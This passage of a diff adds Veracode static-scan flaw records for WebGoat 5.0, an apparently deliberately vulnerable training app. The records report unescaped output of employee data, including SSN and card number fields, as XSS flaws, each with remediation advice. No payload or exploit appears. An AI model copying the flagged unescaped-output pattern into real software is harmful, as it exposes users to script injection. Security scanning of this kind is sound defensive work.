+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"181\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"250\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"61\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"163\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"216\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"259\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"63\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"29\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"242\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"194\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"171\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"65\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"116\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"155\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"189\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
